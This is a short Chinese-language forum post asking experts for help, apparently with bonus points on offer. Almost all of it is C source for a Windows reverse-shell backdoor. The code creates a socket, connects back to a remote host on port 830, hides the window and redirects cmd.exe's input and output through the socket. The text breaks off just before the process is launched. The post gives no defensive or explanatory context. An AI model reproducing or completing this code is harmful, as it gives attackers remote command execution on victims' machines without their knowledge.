电脑高手进.....有追加分！

//一个简单的后门,只能开个端口,执行远程命令

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")

int main()
{
WSADATA ws;
SOCKET s;
int ret;

//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立socket
s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//连接对方830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
//反向连接！
connect(s,(struct sockaddr *)&server,sizeof(server) );

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
//cmd的输入输出句柄，都用socket来替换
si.hStdInput = si.hStdOutput = si.hStdError = (void *)s;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程